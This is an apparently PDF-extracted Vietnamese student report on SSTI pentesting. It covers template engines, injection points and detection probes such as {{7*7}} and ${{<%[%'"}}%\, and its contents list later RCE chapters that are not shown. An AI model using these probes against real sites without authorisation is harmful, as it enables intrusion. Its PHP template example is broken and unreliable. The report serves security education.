Kiểm thử SSTI Việc kiểm thử lỗ hổng Server-Side Template Injection có thể được thực hiệnkhá dễ dàng, điều đầu tiên ta cần chú ý là dữ liệu ta có thể điều khiển và nhập vàowebsite có được
Trang 1BAN CƠ YẾU CHÍNH PHỦ
Ngành học: An Toàn Thông Tin
Sinh viên thực hiện: Mạc Hồng Nam – AT180236
Nghiêm Trung Hậu – AT180217 Trần Xuân Tú – AT180248
Hoàng Tuyển Quyền – AT180341
Lớp học phần: Kỹ thuật lập trình – L03
Nhóm số: 20 Giảng viên hướng dẫn: Bùi Việt Thắng
Trang 2MỤC LỤC
MỤC LỤC 2
DANH SÁCH CÁC KÝ HIỆU, CHỮ VIẾT TẮT 4
DANH MỤC HÌNH VẼ 5
TÓM TẮT NỘI DUNG ĐỀ TÀI 8
LỜI NÓI ĐẦU 9
LỜI CẢM ƠN 10
Chương 1 Server-Side Template Injection là gì? 11
1.1 Nguyên lý hoạt động của ứng dụng web 11
1.2 Nguyên lý hoạt động của template trong ứng dụng web 14
1.3 Server-Side Template Injection hoạt động như thế nào 14
Chương 2 Kiểm thử Server-Side Template Injection 17
2.1 Kiểm thử SSTI 17
2.2 Những chức năng có nguy cơ bị tấn công SSTI 21
2.3 Quá trình khai thác lỗ hổng SSTI 21
2.3.1 Phát hiện (Detect) 22
2.3.2 Nhận dạng (Identify) 23
2.3.3 Khai Thác (Exploit) 24
2.4 Tự động hóa kiểm thử SSTI 25
2.4.1 Tấn công tự động bằng Burp Suite 27
2.4.2 Tấn công tự động bằng Acunetix 30
2.4.3 Tấn công tự động bằng SSTImap 31
2.5 Kiểm thử SSTI qua mã nguồn ứng dụng (whitebox) 32
2.6 Thực nghiệm công cụ SSTIFuzz trên PortSwigger 39
2.6.1 Công cụ SSTIFuzz 40
Trước khai thác 42
Khai thác 45
Giao diện 48
2.6.2 Thực nghiệm trên PortSwigger 48
Chương 3 Một số kỹ thuật khai thác Server-Side Template Injection trong các ngôn ngữ lập trình WEB phổ biến 53
3.1 Ngôn ngữ PHP 53
3.1.1 Template Twig 53
Chức năng filter map 53
Chức năng filter sort 54
Chức năng filter 55
Chức năng reduce filter 56
Trang 33.1.2 Template Smarty 56
Đọc file tùy ý (Arbitrary file read) 56
RCE (Remote Code Execution) 57
3.1.3 Thực nghiệm khai thác lab demo template engine Twig 59
Kiểm thử trực tiếp 59
Kiểm thử tự động bằng SSTIFuzz 61
3.2 Ngôn ngữ Python 62
3.2.1 Template Mako 62
Tấn công dựa vào template syntax 62
Tấn công dựa vào ${self} 62
3.2.2 Template Jinja2 64
Bộ lọc dấu [, ] 65
Bộ lọc dấu ', ", _ 66
Bộ lọc dấu {{, }} 66
Bộ lọc các từ khóa nguy hiểm 67
3.2.3 Thực nghiệm khai thác lab demo template engine Jinja2 69
3.3 Ngôn ngữ Java 69
3.3.1 Template Velocity 69
Ví dụ cách sử dụng Velocity đơn giản bằng code Java 69
Bảo mật trong Velocity Templates 70
Các kiểu tấn công sử dụng SSTI trong Velocity 71
3.3.2 Template Freemarker 73
Ví dụ mã nguồn đơn giản về việc sử dụng FreeMarker Java backend: 74
Các hướng tấn công SSTI template Freemarker 75
3.3.3 Thực nghiệm khai thác lab demo template Velocity 77
Kiểm thử trực tiếp 78
Kiểm thử tự động sử dụng SSTIFuzz 80
Chương 4 KẾT LUẬN 80
4.1 Kết quả đạt được 80
4.2 Lời Bình 81
TÀI LIỆU THAM KHẢO 82
PHỤ LỤC 83
BẢNG PHÂN CHIA CÔNG VIỆC 83
Trang 4DANH SÁCH CÁC KÝ HIỆU, CHỮ VIẾT TẮT
Trang 5DANH MỤC HÌNH VẼ
Hình 1 Tổng quan về Server-Side Template Injection 10
Hình 1.1-1 Cấu trúc của đơn giản của một ứng dụng web 12
Hình 1.2-1 Nguyên lý hoạt động của một template engine 14
Hình 1.3-1 Sử dụng template engine một cách an toàn 15
Hình 1.3-2 Sử dụng template engine không an toàn 16
Hình 2.1-1 Chèn ký hiệu ${ vào trường name 16
Hình 2.1-2 Xem kết quả chèn ${ vào trường name 17
Hình 2.1-3 Chèn ký hiệu {{ vào trường name 17
Hình 2.1-4 Kết quả của việc chèn {{ vào trường name 17
Hình 2.1-5 Một số wordlist tấn công có sẵn trên mạng 19
Hình 2.1-6 Ví dụ trang web ssti.lab.local 19
Hình 2.1-7 Dấu hiệu của lỗ hổng SSTI xuất hiện trên giao diện 20
Hình 2.3-1 Mô hình quá trình khai thác SSTI 21
Hình 2.3.1-1 Phát hiện lỗ hổng SSTI có trong trường name 22
Hình 2.3.2-1 Minh họa quá trình nhận dạng template engine 23
Hình 2.4-1 Giao diện website của tham số ID=VinFast Lux A2.0 25
Hình 2.4.1-1 Giao diện đặt điểm tấn công trong Intruder - Burp Suite 26
Hình 2.4.1-2 Giao diện đặt payload trong Intruder-Burpsuite 27
Hình 2.4.1-3 Giao diện kết quả tấn công và dấu hiệu 28
Hình 2.4.1-4 Thực thi câu lệnh id trên hệ thống, biết được người dùng tên www-data 29
Hình 2.4.1-5 Thực thi câu lệnh ls, biết được cấu trúc thư mục webroot 29
Hình 2.4.2-1 Kiểm thử SSTI với Acunetix 29
Hình 2.4.3-1 Giao diện lab SSTI Jinja2 30
Hình 2.4.3-2 Kiểm thử SSTI với SSTImap 30
Hình 2.4.3-3 Kết quả tấn công của SSTImap 31
Hình 2.5-1 Sitemap của mã nguồn ứng dụng web demo 32
Hình 2.5-2 Mã nguồn sử dụng template engine Mako và module jwt 32
Hình 2.5-3 Một số font biến đổi có trong mã nguồn 33
Hình 2.5-4 Vị trí nhận thấy có thể tấn công SSTI 33
Hình 2.5-5 Hàm sử dụng chức năng generate_render trong util.py 34
Trang 6Hình 2.5-6 Hàm xử lý jwt trong util.py 34
Hình 2.5-7 Server xử lý với đường dẫn /login 34
Hình 2.5-8 Giao diện của tính năng đăng nhập 35
Hình 2.5-9 Mã nguồn xử lý đường dẫn / 35
Hình 2.5-10 Giao diện trang index 36
Hình 2.5-11 Một PoC đơn giản khai thác SSTI 37
Hình 2.5-12 Kết quả của PoC thứ nhất 37
Hình 2.5-13 Kết quả của PoC Out-of-Band attack 38
Hình 2.6.1-1 Một số template hỗ trợ 39
Hình 2.6.1-2 Wordlist payload dành cho template engine Mako 39
Hình 2.6.1-3 Hàm lấy payload từ wordlist 40
Hình 2.6.1-4 Hàm gửi HTTP request 40
Hình 2.6.1-5 Hàm khởi tạo payload và kiểm tra kết quả trả về 41
Hình 2.6.1-6 Minh họa logic phân loại template 42
Hình 2.6.1-7 Hàm kiểm tra hệ điều hành của ứng dụng web 44
Hình 2.6.1-8 Chia mảng con cho các luồng 44
Hình 2.6.1-9 Hàm xử lý đa luồng và lấy kết quả 45
Hình 2.6.1-10 Hàm lấy thông tin về ngôn ngữ lập trình web sử dụng 45
Hình 2.6.1-11 Hàm lấy thông tin chi tiết về hệ điều hành 46
Hình 2.6.1- 12 Mã nguồn giao diện cho phép người dùng nhập câu lệnh hệ thống 46
Hình 2.6.1-13 Giao diện hướng dẫn sử dụng công cụ SSTIFuzz 47
Hình 2.6.2-1 Giao diện trang chủ web của mục tiêu lab portswigger 48
Hình 2.6.2-2 Giao diện đăng nhập 48
Hình 2.6.2-3 Tính năng Edit template chỉ dành cho quản lý nội dung 49
Hình 2.6.2-4 Chức năng Preview và Save của Edit Template 49
Hình 2.6.2-5 Phát hiện lỗ hổng SSTI tại tính năng Edit Template 50
Hình 2.6.2-6 HTTP Request của tính năng preview template 50
Hình 2.6.2-7 Kết quả hiển thị của công cụ SSTIFuzz 51
Hình 2.6.2-8 Thực thi câu lệnh hệ thống trên máy chủ 51
Hình 3.1.1-1 Lợi dụng hàm uasort trong PHP 54
Hình 3.1.1-2 Lợi dụng hàm array_filter trong PHP 54
Hình 3.1.2-1 Hiển thị phiên bản của template Smarty 55
Hình 3.1.3-1 Trang chủ lab demo Twig 58
Hình 3.1.3-2 Chức năng xem thêm 58
Hình 3.1.3-3 Phát hiện lỗ hổng SSTI tại input ID 59
Hình 3.1.3-4 Twig là template engine đang được sử dụng 59
Hình 3.1.3-5 Payload ghi file shell.php vào thư mục webroot 59
Hình 3.1.3-6 Thực thi câu lệnh từ shell vừa tạo 60
Hình 3.1.3-7 Kết quả của SSTIFuzz trên lab Twig 60
Hình 3.1.3-8 Thực thi câu lệnh hệ thống trên lab Twig 60
Hình 3.2.1-1 Submodule util xuất hiện trong file runtime.py của mako 62
Trang 7Hình 3.2.1- 2 PoC thực thi câu lệnh whoami với payload SSTI Mako 62
Hình 3.2.2-1 PoC dùng Burp Intruder để brute force class 64
Hình 3.2.3-1 Trang đăng ký lab demo Jinja2 67
Hình 3.2.3-2 Trang đăng nhập 67
Hình 3.2.3-3 Trang chủ có thể tạo và xóa ghi chú 68
Hình 3.2.3-4 Chức năng thay đổi mật khẩu 68
Hình 3.2.3-5 Kiểm tra máy chủ Web bằng Wappalyzer 68
Hình 3.2.3-6 Bắt request Burp Suite payload kiểm thử SSTI chức năng tạo ghi chú 69
Hình 3.2.3-7 Ghi chú {{7*7}} được website render 69
Hình 3.2.3-8 Kiểm thử ghi chú với payload {% print(7*7) %} 69
Hình 3.2.3-9 Ghi chú {% print(7*7) %} không thể hiện lỗi SSTI 70
Hình 3.2.3-10 Payload {{7*7}} đã bị chặn 70
Hình 3.2.3-11 Phát hiện thành công lỗi SSTI tại chức năng đổi mật khẩu 70
Hình 3.2.3-12 Payload bypass và RCE thành công 71
Hình 3.2.3-13 Kết quả của SSTIFuzz trên lab Jinja2 71
Hình 3.2.3- 14 Thực thi câu lệnh hệ thống trên lab Jinja2 72
Hình 3.3.2-1 Minh họa template FreeMarker 77
Hình 3.3.3-1 Giao diện web demo Velocity 77
Hình 3.3.3-2 Chữ ‘a’ bị biến đổi thành ký tự khác 77
Hình 3.3.3-3 Request biến đổi chữ qua BurpSuite 78
Hình 3.3.3- 4 Payload phát hiện website sử dụng template Velocity 78
Hình 3.3.3-5 PoC RCE lab demo Velocity 79
Hình 3.3.3-6 Kết quả phát hiện của tool SSTIFuzz 80
Hình 3.3.3-7 Thực hiện một số câu lệnh hệ thống tại giao diện công cụ 80
Trang 8TÓM TẮT NỘI DUNG ĐỀ TÀI
Với đề tài yêu cầu trình bày việc kiểm thử SSTI ứng dụng Web:
Kiểm thử = Kiểm tra lỗ hổng + Khai thác lỗ hổng
Lỗ hổng Server-Side Template Injection là một trong những lỗ hổng dễ xảy ra và rất nguy hiểm đối với một website Bài luận này sẽ giúp người đọc có cái nhìn tổngquan, hiểu rõ hơn về cơ chế hoạt động của lỗ hổng, đồng thời cũng trang bị cho người đọc những kiến thức cần có về các cách khai thác
Bài luận bao gồm 3 chương:
● Chương I: Những khái niệm, thông tin cơ bản và tổng quan nhất về lỗ hổng
Server-Side Template Injection - định nghĩa và bản chất vấn đề
● Chương II: Một số phương pháp phát hiện Server-Side Template Injection
trong giao diện WEB và mã nguồn
● Chương III: Một số kỹ thuật khai thác Server-Side Template Injection trong
các ngôn ngữ lập trình ứng dụng web phổ biến
Trang 9LỜI NÓI ĐẦU
Nhiều sinh viên KMA bối rối khi được hỏi:
“Cháu học trường mật mã rồi sau ra trường sẽ làm gì?”
Theo quy trình phát triển sản phẩm, tất cả các sản phẩm từ nhỏ nhất như cái trang web chỉ có mỗi cái chữ “chào mừng” cho tới các “Mega Project” như hệ thống chính phủ điện tử đều phải qua tay của phòng Kiểm thử xâm nhập.
Mục đích là để kiểm tra và tìm ra các lỗ hổng, các nguy cơ tồn tại bên trong sản phẩm đó, giảm thiểu và đảm bảo cho sản phẩm được an toàn nhất có thể Tránh nguy
cơ một ngày đẹp trời nào đó, sản phẩm bị kẻ xấu hack và gây thất thoát dữ liệu và ảnh hưởng tới uy tín của tổ chức.
Hiểu đơn giản, pentester là những hacker “lương thiện”, sẽ đi hack sản phẩm của nhà mình trước khi bị những hacker phe “phản diện” hack được.
Công việc pentest này dựa rất nhiều vào mindset của người thực hiện, có thể cùng 1 lỗi mà người này không phát hiện nhưng người khác lại thấy, do đó việc đảm bảo an toàn cho các sản phẩm này cũng chỉ mang tính tương đối.
Việc này được giảm thiểu bằng cách cho các thành viên trong nhóm check chéo sản phẩm với nhau, sẽ tìm ra được những sai sót mà người kia để lại, từ đó làm cho số lượng lỗ hổng trong sản phẩm được giảm thiểu đáng kể!
Nguồn: Jang of VNPT ISC
Để kiểm thử xâm nhập website (hay gọi tắt là pentest web), thông thường các nhàkiểm thử xâm nhập (pentester) đều phải hiểu biết nhiều lỗ hổng ứng dụng một cáchchuyên sâu, từ đó kiểm tra xem lỗ hổng hổng này có tồn tại hay không và khai thác nó(nếu có) Server-Side Template Injection là lỗ hổng vô cùng phổ biến trong giới bảomật Bài luận sẽ giúp các bạn đọc hiểu được phần nào về bản chất lỗ hổng này cũngnhư một số cách thức để khai thác nó, tựa như một pentester đi kiểm thử lỗi Server-Side Template Injection vậy
Trong bài có thể xảy ra một vài chỗ sai sót, mong thầy cô và bạn đọc thông cảm.Trân trọng
Trang 10LỜI CẢM ƠN
Đầu tiên nhóm em xin chân thành gửi lời cảm ơn đến thầy Bùi ViệtThắng – Giảng viên trường Học viện Kỹ thuật Mật mã, giảng viên giảng dạy
bộ môn Kỹ thuật lập trình lớp L03 Trong thời gian tham gia học phần, thầy
đã tạo điều kiện học tập, cung cấp đầy đủ các kiến thức cũng như học liệucủa môn học, giúp nhóm em nắm vững được nền tảng cơ bản và mục tiêu củahọc phần Trong thời gian thực hiện đề tài, thầy cũng đã tận tình hướng dẫn,giúp đỡ, chỉ bảo để nhóm em hoàn thành tốt nội dung yêu cầu của đề tài này.Một lần nữa nhóm em xin chân thành cảm ơn thầy Chúc thầy luônluôn dồi dào sức khỏe và thành công trong công việc giảng dạy và nghiêncứu
Hà Nội, ngày 06 tháng 04 năm 2024
Sinh viên thực hiệnMạc Hồng NamNghiêm Trung HậuTrần Xuân TúHoàng Tuyển Quyền
Trang 11Chương 1 Server-Side Template Injection là gì?
Server-side template injection (SSTI) là dạng lỗ hổng cho phép kẻ tấn cônginject các payload (tạo bởi chính ngôn ngữ template đó) vào các template, và chúngđược thực thi tại phía server Trong đa số trường hợp xảy ra lỗ hổng SSTI đều manglại các hậu quả to lớn cho server, bởi các payload SSTI được thực thi trực tiếp tạiserver và thường dẫn tới tấn công thực thi mã nguồn tùy ý từ xa (RCE - Remote CodeExecution)
Hình 1 Tổng quan về Server-Side Template Injection
1.1 Nguyên lý hoạt động của ứng dụng web
Trong cuộc sống hiện tại ngày nay, ứng dụng web đã trở thành một phầnkhông thể thiếu và được sử dụng hàng ngày để truy cập mạng xã hội, lướt web và
Mặc dù được viết bằng nhiều ngôn ngữ khác nhau, tất cả các ứng dụng web đều cótính tương tác Ứng dụng web ngày nay đã được ứng dụng trong đa dạng các sảnphẩm, có thể thấy các loại ứng dụng như thương mại điện tử, y tế, giáo dục, đều đã
và đang ứng có những ứng dụng thiết thực của web trong công việc của mình.Một ứng dụng web thường được phân thành hai phần:
- Backend: Đôi khi được gọi là phía máy chủ, phần backend của ứng dụng quản
lý chức năng tổng thể của ứng dụng web của bạn Khi người dùng tương tácvới frontend, tương tác sẽ gửi một yêu cầu đến backend ở định dạng HTTP.Backend sẽ xử lý yêu cầu và trả về một phản hồi
Trang 12- Frontend: Thuật ngữ frontend đề cập đến giao diện đồ họa người dùng (GUI) mà
người dùng của bạn có thể tương tác trực tiếp, chẳng hạn như menu điều hướng,các phần tử thiết kế, nút, hình ảnh và đồ thị Trong thuật ngữ kỹ thuật, một tranghoặc màn hình mà người dùng của bạn nhìn thấy với nhiều thành phần UI thì
được gọi là mô hình đối tượng tài liệu (DOM).
Cấu trúc hai phần như trên cung cấp một cách thức tổ chức ứng dụng web hiệu quả,giúp tách biệt chức năng và dữ liệu, tăng tính bảo mật và dễ bảo trì
Trình duyệt web (như Google Chrome, Firefox, Safari, ) hiển thị frontendcho người dùng Khi các trình duyệt này gửi yêu cầu đến backend thì các yêu cầu này
Trang 13array('name' => 'John Doe', 'email' => 'john@example.com'),
array('name' => 'Jane Smith', 'email' => 'jane@example.com'),
array('name' => 'Robert Johnson', 'email' => 'robert@example.com')
// Thay thế các biến trong template với dữ liệu người dùng
$renderedContent = str_replace('{{#users}}', '', $templateContent);
foreach ($users as $user) {
$renderedContent = '<li>' $user['name'] ' - ' $user['email'] '</li>';
}
$renderedContent = str_replace('{{/users}}', '', $templateContent);
// Hiển thị nội dung đã được render
echo $renderedContent;
?>
Trong ví dụ này, tệp frontend (index.html) chứa một template HTML đơngiản Trong template này, chúng ta sử dụng cú pháp của một hệ thống template(chẳng hạn như Handlebars hoặc Mustache) để tạo danh sách người dùng Mỗi người
dùng được hiển thị trong một thẻ <li>.
Tệp backend (index.php) chứa dữ liệu người dùng mẫu và quá trình rendertemplate Đầu tiên, chúng ta định nghĩa một mảng chứa dữ liệu người dùng mẫu Sau
đó, chúng ta đọc nội dung của tệp template và thực hiện việc thay thế các biếntemplate ({{#users}} và {{/users}}) bằng danh sách người dùng đã được xử lý Kếtquả render được hiển thị trên trình duyệt khi chạy tệp PHP
Lưu ý rằng trong ví dụ này, chúng ta sử dụng phương pháp đơn giản để rendertemplate và không sử dụng thư viện template nào cụ thể Trong ứng dụng thực tế, ta
có thể sử dụng các thư viện như Twig, Blade hoặc Handlebars để quản lý và rendertemplate một cách linh hoạt và mạnh mẽ hơn Nhưng thật sự template hoạt động thếnào chúng ta sẽ đi sâu vào trong phần sau
Trang 141.2 Nguyên lý hoạt động của template trong ứng dụng web
Template trong ứng dụng web là công cụ quan trọng để tách biệt giữa logic xử
lý và giao diện người dùng Nó cho phép chúng ta tạo ra các trang web động và linhhoạt bằng cách kết hợp dữ liệu động với các mẫu tĩnh
Cơ bản, một template là một tệp văn bản có chứa mã HTML/XML và các biểu
thức đánh dấu để thể hiện sự động của dữ liệu Template trong website này muốn hoạt động sẽ cần một thứ gọi là “engine“ Engine này đóng vai trò tổng hợp các yếu
tố cố định trên template với các dữ liệu được đưa vào tại thời điểm đó để render (tạm
dịch là dựng) ra phiên bản web page tương ứng
Template engine cho phép ta sử dụng các static template(tệp mẫu tĩnh) vàotrong ứng dụng của mình Trong thời gian chạy, template engine sẽ thay thế các biếntrong tệp mẫu bằng các giá trị thực và chuyển đổi mẫu thành tệp HTML được gửi tớimáy client Cách tiếp cận này giúp thiết kế trang HTML trở nên dễ dàng hơn
Hình 1.2-1 Nguyên lý hoạt động của một template engine
Với một web sử dụng template, người dùng truy cập vào một trang web thôngqua trình duyệt Trình duyệt gửi yêu cầu HTTP đến máy chủ web Máy chủ web nhậnyêu cầu và xác định công việc cần thực hiện Trong trường hợp sử dụng template,máy chủ sẽ tìm và tải template tương ứng từ hệ thống tệp hoặc truy vấn cơ sở dữ liệu Máy chủ web tiếp tục xử lý dữ liệu, bao gồm truy vấn cơ sở dữ liệu, xử lý logic và lấy
dữ liệu cần thiết để hiển thị, sau đó sử dụng một template engine để render template.Template engine sẽ phân tích cú pháp của template và xác định các biểu thức đánhdấu để thay thế bằng dữ liệu thích hợp Kết quả là một trang web hoàn chỉnh, sử dụng
dữ liệu động được kết hợp với mã tĩnh trong template Cuối cùng máy chủ web trả vềtrang web đã được render và hiển thị cho người dùng thông qua trình duyệt
1.3 Server-Side Template Injection hoạt động như thế nào
Đối với SSTI, Template directive và template expression là hai khái niệm quantrọng trong template engine, được sử dụng để tạo ra nội dung động trên trang web
Template directive: Là một lệnh đặc biệt được xử lý bởi template engine để thực hiện
một tác vụ cụ thể, như lặp, xử lý điều kiện, kế thừa,
Template expression: Các ký tự đặc biệt bao bọc lấy phần directive để khai báo với
chương trình đây là một template
Trang 15Template directive và expression giúp tách biệt logic xử lý khỏi nội dung hiển thị, làmcho mã nguồn dễ đọc và bảo trì hơn Chúng cũng tăng tính bảo mật bằng cách ngăn chặnviệc chèn mã độc hại vào nội dung tĩnh.
SSTI (Server-Side Template Injection) xảy ra khi ứng dụng web không kiểm soát
đầu vào từ người dùng một cách nghiêm ngặt trước khi đưa vào template engine Điềunày cho phép kẻ tấn công chèn mã độc hại vào trong template expression hoặc directive,
từ đó thực thi mã bất kỳ trên máy chủ
Quá trình xảy ra SSTI thường như sau:
- Kẻ tấn công gửi đầu vào độc hại chứa mã thực thi (thường là một biểu thức hoặclệnh) tới ứng dụng web
- Ứng dụng web không kiểm tra hoặc lọc đầu vào này một cách đầy đủ
- Đầu vào độc hại được đưa vào template engine để render nội dung
- Template engine thực thi mã độc hại trong quá trình render, dẫn đến việc thực thi
mã bất kỳ trên máy chủ
Để minh họa về lỗ hổng ta sẽ xét đến ví dụ sau: Một trang web cần gửi hàng loạtlời chào, và sử dụng template Mako để thuận tiện cho việc thay đổi tên khách hàng.Trong trường hợp sử dụng template tĩnh, tức là chỉ cung cấp các placeholder để enginelấy rồi xử lý và render ra web như dưới đây, Mako sẽ chỉ đơn giản coi đấy là dữ liệu vàđưa vào placeholder ${first_name} để tạo ra nội dung chào người dùng theo kiểu:
Hình 1.3-1 Sử dụng template engine một cách an toàn
Như ta có thể thấy thì lúc này SSTI không xảy ra vì thông tin đưa vào ${first_name} chỉ
là dữ liệu đơn thuần
Nhưng nếu như vẫn sử dụng template này, ta cho trực tiếp của đầu vào của người dùngvào mà không truyền vào bằng phương thức render nữa thì mọi chuyện sẽ hoàn toànkhác:
Trang 16Hình 1.3-2 Sử dụng template engine không an toàn
Khi nối chuỗi biến first name vào template rồi mới thực hiện phương thức render,template sẽ không còn tĩnh nữa mà Mako sẽ tìm kiếm những template directive để xử lýtrong lúc render, từ đó gây ra lỗ hổng Server-Side Template Injection Như ví dụ cụ thể
ở đây thì server đã thực hiện tính toán phép toán em đưa vào bên trong template, khẳngđịnh có sự tồn tại của lỗ hổng SSTI
SSTI là một lỗ hổng nghiêm trọng và có thể dẫn đến nhiều hậu quả nghiêm trọng, baogồm:
- Thực thi mã bất kỳ trên máy chủ: Kẻ tấn công có thể thực thi bất kỳ đoạn mã
nào trên máy chủ, điều này có thể dẫn đến việc đánh cắp dữ liệu, gây ra sự cố hệthống, hoặc thậm chí là chiếm quyền điều khiển máy chủ hoàn toàn
- Đánh cắp dữ liệu nhạy cảm: Nếu ứng dụng web lưu trữ dữ liệu nhạy cảm như
mật khẩu, thông tin tài chính, v.v., kẻ tấn công có thể đánh cắp những dữ liệu nàythông qua SSTI
- Tấn công mạng nội bộ: Từ máy chủ web bị tấn công, kẻ tấn công có thể thực
hiện các cuộc tấn công mạng nội bộ khác trong cơ sở hạ tầng của tổ chức
- Phá hoại dữ liệu và tính toàn vẹn hệ thống: Kẻ tấn công có thể sửa đổi, xóa
hoặc thêm dữ liệu vào hệ thống, gây ra sự phá hoại và mất tính toàn vẹn của dữliệu
- Kể cả khi không thể thực thi mã từ xa, SSTI cũng có thể dùng làm bàn đạp cho cáccuộc tấn công khác như XSS, SSRF,
Trang 17Chương 2 Kiểm thử Server-Side Template Injection
Thông thường việc kiểm tra lỗ hổng Server-Side Template Injection được thựchiện từ xa, tức là thông qua Internet, nó là một phần trong quá trình kiểm thử xâmnhập ứng dụng web Những người thực hiện kiểm thử thường sẽ không được cấp mãnguồn, hay không có cơ hội được xem mã nguồn của ứng dụng web để xác định cấutrúc trang web và đầu vào nào được đưa vào template để render một cách trực tiếp
Trong phần này của bài luận, em sẽ giới thiệu những kỹ thuật cơ bản để tìm ravấn đề về lỗ hổng SSTI tồn tại trong ứng dụng web dưới góc nhìn của một ngườidùng khi họ tương tác với một ứng dụng web thông qua trình duyệt Ngoài ra emcũng sẽ đề cập đến việc áp dụng tự động hóa trong quá trình tìm kiếm, kiểm thử đểtăng hiệu suất khi thực hiện tìm kiếm, phát hiện lỗ hổng Server-Side TemplateInjection
1.4 Kiểm thử SSTI
Việc kiểm thử lỗ hổng Server-Side Template Injection có thể được thực hiệnkhá dễ dàng, điều đầu tiên ta cần chú ý là dữ liệu ta có thể điều khiển và nhập vàowebsite có được hiện ra ở đâu đó sau khi trang web load hay không, vì có khả năng
dữ liệu đầu vào đó được đưa vào template để web server render và trả về nội dungcho người dùng Sau khi xác định một số đầu vào khả nghi, ta sẽ tiến hành thử chènvào những template expression hay được sử dụng, nếu như server trả về lỗi thì có thểsuy ra việc template syntax mà ta cố tình đưa vào đã cản trở quá trình render củaserver, khẳng định rằng website có khả năng dính lỗ hổng Server-Side TemplateInjection
Ví dụ cụ thể nhất của quá trình này là thêm vào một template expression cụ thể
ví dụ như: ${, {{, Webserver nhận yêu cầu, render template với dữ liệu truyền vào
và trả về lỗi thì chắc chắn rằng có xảy ra SSTI Em tiến hành thực hiện kiểm tra trênlab tự dựng sử dụng template engine Jinja2:
Hình 2.1-1 Chèn ký hiệu ${ vào trường name
Kết quả trả về:
Trang 18Hình 2.1-2 Xem kết quả chèn ${ vào trường name
Từ đây ta có thể thấy việc sử dụng những template expression như ${ là mộttrong những cách hữu dụng và đáng tin cậy để bước đầu xác định xem có thể tấn côngServer-Side Template Injection thành công hay không
Nếu như ký hiệu ${ không trả lại bất kỳ kết quả lỗi nào thì ta có thể sử dụng cáctemplate expression phổ biến khác chẳng hạn như {{ để kiểm tra xem kết quả:
Hình 2.1-3 Chèn ký hiệu {{ vào trường name
Hình 2.1-4 Kết quả của việc chèn {{ vào trường name
Với kết quả trên thì ta có thể khá chắc rằng đầu vào đã dính lỗ hổng SSTI, vớiviệc mở ra một template express mà không đóng gây ra lỗi đã khẳng định điều đó.Ngoài ra, ta cũng có một số chuỗi ký tự khác nên cân nhắc thử sử dụng ngoài 2 kýhiệu trên như:
Trang 19https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-Hình 2.1-5 Một số wordlist tấn công có sẵn trên mạng
Trang 20Server-Side Template Injection không chỉ xuất hiện trong các hình thức POSTnhư đã nêu ở ví dụ trên, nó còn có khả năng lớn xảy ra ngay ở trên URL bao gồm cácparam hoặc path có trên URL.
Giả sử một website có đường dẫn như sau: http://ssti.lab.local/?ID=hello
Trong trường hợp này ta có thể thấy ID là một tham số được truyền vào còn ‘hello’ làgiá trị của tham số đó Trực quan giao diện website sẽ như sau:
Hình 2.1-6 Ví dụ trang web ssti.lab.local
Nếu như sử dụng dấu {{ thay vì ‘hello’ rồi kiểm tra lại thì ta có kết quả:
Hình 2.1-7 Dấu hiệu của lỗ hổng SSTI xuất hiện trên giao diện
Ta thấy ngay được việc server không thể xử lý một template expression khônghoàn chỉnh mà trả về HTTP Status Code 500, một dấu hiệu lớn cho thấy rằng có thểkhai thác Server-Side Template Injection
1.5 Những chức năng có nguy cơ bị tấn công SSTI
Lỗ hổng SSTI tiềm ẩn ở rất nhiều nơi, nó không chỉ tồn tại ở các input ngườidùng nhập mà còn có thể ở các HTTP Request Header hay Cookie nếu như webserver sử dụng chúng rồi render thông tin ra ngoài:
Một số phần dễ bị tấn công gồm có:
Trang 21- Trường login, register
1.6 Quá trình khai thác lỗ hổng SSTI
Nhìn chung, một cuộc tấn công lỗ hổng SSTI sẽ bao gồm 3 giai đoạn chính: Phát hiện, nhận dạng và khai thác
Hình 2.3-1 Mô hình quá trình khai thác SSTI
1.6.1 Phát hiện (Detect)
Server-Side Template Injection thường sẽ không được chú ý đến trong quátrình kiểm thử, không phải vì nó khó khai thác mà là nó không thực sự rõ ràng khi takhông nắm được mã nguồn của chương trình Ở một số ngữ cảnh cụ thể, SSTI hoàntoàn có thể bị bỏ qua khi người kiểm thử kiểm tra lỗ hổng XSS trên trường đó vàthành công, từ đó mặc định rằng trường đó chỉ dính lỗ hổng XSS Nó chỉ thực sự rõ
Trang 22ràng khi người thực hiện kiểm thử kiểm tra nó một cách hoàn chỉnh và đầy đủ, mộtkhi đã dính phải lỗ hổng SSTI, ta sẽ có thể khai thác thành công một cách nhanhchóng, nên có thể nói để bước tìm ra được điểm yếu khai thác là bước khó nhất trongmột cuộc tấn công Server-Side Template Injection.
Giai đoạn đầu tiên khi tấn công là phát hiện lỗ hổng - detect, giai đoạn này yêucầu ta cần phải tìm những chỗ, những chức năng hoặc những phần có khả năng dính
lỗ hổng, sau đó fuzzing (thử nghiệm) với các ký tự template expression phổ biến đểkiểm tra tính khả thi của lỗ hổng SSTI trong endpoint đó
Như em đã nói ở phần trên khi mình có thể thử bằng riêng biệt các dấu ký tự đểxem trang web xử lý, render và trả về lỗi, từ đó xác định vị trí tồn tại lỗ hổng, những
ký tự đó có thể là ${{<%[%'”}}%\ Ngoài ra ta cũng nên thử nghiệm thêm việc sửdụng các toán tử nằm bên trong các template expression để kiểm tra kết quả trả vềcủa server, nếu như server tính toán và trả về kết quả của phép toán được khai báotrong template thì chắc chắn website đã mắc phải lỗ hổng SSTI
Việc phát hiện lỗ hổng SSTI sẽ phụ thuộc rất nhiều vào ngữ cảnh (context) cụthể, và đó cũng là lý do cần phải fuzzing theo các ngữ cảnh khác nhau một cách đầy
đủ và toàn diện, đôi khi chúng lại cho ra những kết quả thú vị Chẳng hạn như loại bỏtemplate expression nếu ta nghi ngờ dữ liệu đã được đưa vào một expression sẵn có,
…
Một ví dụ trực quan nhất cho vấn đề này là thử chèn vào phép toán 7 * 7 nằmtrong một template expression chẳng hạn như {{7 * 7}}, gửi cho server và quan sátkết quả ta có:
Hình 2.3.1-1 Phát hiện lỗ hổng SSTI có trong trường name
Web server đã thực hiện xử lý phép tính 7 * 7 và trả về cho ta kết quả là 49 Xác địnhtrường nhận dữ liệu đầu vào này có thể khai thác Server-Side Template Injection
1.6.2 Nhận dạng (Identify)
Sau khi đã biết được trang web dính SSTI và chỗ cần phải khai thác, ta chuyểnsang giai đoạn thứ hai là nhận dạng xem website đang sử dụng loại template nào đểphục vụ cho giai đoạn tiếp theo
